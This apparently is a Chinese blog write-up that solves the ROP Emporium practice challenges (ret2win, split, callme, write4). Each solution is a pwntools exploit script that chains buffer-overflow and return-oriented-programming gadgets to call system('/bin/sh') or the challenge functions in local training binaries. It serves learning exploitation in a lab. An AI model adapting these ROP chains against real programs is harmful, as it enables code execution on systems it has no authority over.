前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ROP_emporium

ROP_emporium

作者头像
ly0n
发布2020-11-04 11:27:06
3280
发布2020-11-04 11:27:06
举报
文章被收录于专栏:ly0nly0n

ret2win32

​ 简单的数据覆盖

exp

代码语言:javascript
复制
from pwn import *

sh = process('./ret2win32')

sys_addr = 0x8048659
payload  = 'a' * (0x28 + 0x4)
payload += p32(sys_addr)
sh.sendline(payload)
sh.interactive()

ret2win

和32位的一样

代码语言:javascript
复制
from pwn import *

sh = process('./ret2win')

bin_addr = 0x400811
payload  = 'a' * 40
payload += p64(bin_addr)
sh.sendline(payload)
sh.interactive()

split32

​ 32位的程序执行完之后要有一个返回地址,可以随便给,64位就不行了,拼接payload 加一个返回地址就OK

exp

代码语言:javascript
复制
from pwn import *

sh = process('./split32')
elf = ELF('./split32')

sys_addr = elf.sym['system']
bin_addr = 0x804a030
payload  = 'a' * (0x28 + 0x4)
payload += p32(sys_addr)
payload += p32(0)
payload += p32(bin_addr)
sh.sendline(payload)
sh.interactive()

split

​ 64位的返回地址pop ret ; rdi

命令搜索ret地址:

代码语言:javascript
复制
ROPgadget --binary ./split --only "pop|ret"

exp

代码语言:javascript
复制
from pwn import *

sh = process('./split')

sys_addr = 0x4005e0
pop_rdi  = 0x400883
bin_addr = 0x601060

#payload  = 'a' * 40 + p64(pop_rdi) + p64(bin_addr) + p64(sys_addr)
payload  = 'a' * 40
payload += p64(pop_rdi)
payload += p64(bin_addr)
payload += p64(sys_addr)
#print(payload)
sh.sendline(payload)
sh.interactive()

callme32

​ 在题目文件中看到了libcallme.so,提示我们程序从共享库中导入了三个函数,我们可以使用命令来搜索下这三个函数的位置

代码语言:javascript
复制
rabin2 -i callme32 | grep callme

但是我复制了地址到IDA中搜索却找不到地址,看到IDA程序里的所有地址只有后面三位不同

我们搜索到的刚好只有后面三位,啊哈哈哈。我太菜了!!!

所以导入的三个函数的地址为

代码语言:javascript
复制
callme_one: 0x080485c0
callme_two: 0x08048620
callme_three: 0x080485b0

分别搜索下这三个地址,发现是可以的。并且这三个函数都要传入参数 1,2,3.通过调试程序可以知道程序的大概逻辑,callme_one函数用来读取加密的flag值,然后callme_two,callme_three用来解密,经过动态调试也能弄明白解密的方式,一位一位的进行异或,最后解密得到flag

exp

代码语言:javascript
复制
#encoding:utf-8
from pwn import *

sh = process('./callme32')
payload  = 'a' * 44

# callme_one
payload += p32(0x080485c0)
payload += p32(0x080488a9)
#为了栈平衡,需要一个将出栈,所以要有pop;pop;pop;ret
#因为在程序中调用了callme_one,callme_two,callme_three所以需要保持栈平衡我们要选的pop地址为0x80488a9
payload += p32(0x1)
payload += p32(0x2)
payload += p32(0x3)
# 分析程序看到我们要传入1,2,3的值

# callme_two
payload += p32(0x08048620)
payload += p32(0x080488a9)
payload += p32(0x1)
payload += p32(0x2)
payload += p32(0x3)

# callme_three
payload += p32(0x080485b0)
payload += p32(0x080488a9)
payload += p32(0x1)
payload += p32(0x2)
payload += p32(0x3)

sh.sendline(payload)
sh.interactive()

callme

​ 64位程序不需要再去栈平衡,它会将参数按照顺序存放在寄存器中,这个程序和32位的程序逻辑一样,都是先callme_one读取加密的flag然后调用callme_two,callme_three来解密,将参数按照顺序存放在寄存器中,为使callme_three执行完后即可返回,所以我们要找一个 pop rdi ; pop rsi ; pop rdx; ret的gadgets.

代码语言:javascript
复制
rabin2 -i callme | grep callme

找到了导入的三个函数的地址,然后我们还要再找gadgets的地址

代码语言:javascript
复制
ROPgadget --binary ./callme --only "pop|ret"

exp

代码语言:javascript
复制
from pwn import *

sh = process('./callme')
# callme_one
payload  = 'a' * 40
payload += p64(0x00401ab0)
payload += p64(0x1)
payload += p64(0x2)
payload += p64(0x3)
payload += p64(0x00401850)

# callme_two 
payload += p64(0x00401ab0)
payload += p64(0x1)
payload += p64(0x2)
payload += p64(0x3)
payload += p64(0x00401870)

# callme_three
payload += p64(0x000401ab0)
payload += p64(0x1)
payload += p64(0x2)
payload += p64(0x3)
payload += p64(0x00401810)

sh.sendline(payload)
sh.interactive()

write432

​ 用IDA打开分析了之后发现有system函数,但是没有 /bin/sh 所以我的思路是将/bin/sh写入到程序中然后在调用system函数来执行/bin/sh,首先我们要查看一下程序内的权限。

代码语言:javascript
复制
readelf -S 文件名

我们看到bss段是有写权限的,所以我们就把/bin/sh写入到bss段

由于字节的原因我们要传入两次,所以选择构造的gadgets

代码语言:javascript
复制
ROPgadget --binary ./write432 --only 'mov|pop|ret'

exp

代码语言:javascript
复制
# encoding:utf-8
from pwn import *

sh = process('./write432')

bss_addr = 0x0804a040
sys_addr  = 0x08048430
# 构造gadgets地址
mov_addr  = 0x08048670
pop_addr  = 0x080486da

payload  = 'A' * 44
# 由于32为程序每次写入只能写入4个字节,而/bin/sh是7个,所以要分两次传入
payload += p32(pop_addr)
payload += p32(bss_addr)
payload += '/bin'
payload += p32(mov_addr)
# 由于第二次传入/sh是3个字节所以我在这里是传入的'//sh'
payload += p32(pop_addr)
payload += p32(bss_addr+4)
payload += '//sh'
payload += p32(mov_addr)
# 传入数据后调用system函数来执行 /bin/sh
payload += p32(sys_addr)
#32位要有一个返回地址
payload += p32(0)
payload += p32(bss_addr)

sh.sendline(payload)
sh.interactive()

write4

​ 64位的就直接将数据写入bss段即可

exp

代码语言:javascript
复制
#encoding:utf-8
from pwn import *
# 64位直接写入就ok
sh = process('./write4')

bss_addr= 0x0601060
sys_addr = 0x04005e0

pop_addr = 0x0000000000400890
mov_addr = 0x0000000000400820
pop_rdi  = 0x0000000000400893
# 传入/bin/sh
payload  = 'a' * 40
payload += p64(pop_addr)
payload += p64(bss_addr)
payload += '/bin//sh'
payload += p64(mov_addr)
# 调用system执行

payload += p64(pop_rdi)
payload += p64(bss_addr)
payload += p64(sys_addr)
payload += p64(0)

sh.sendline(payload)
sh.interactive()
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-06-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • ret2win32
  • ret2win
  • split32
  • split
  • callme32
  • callme
  • write432
  • write4
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档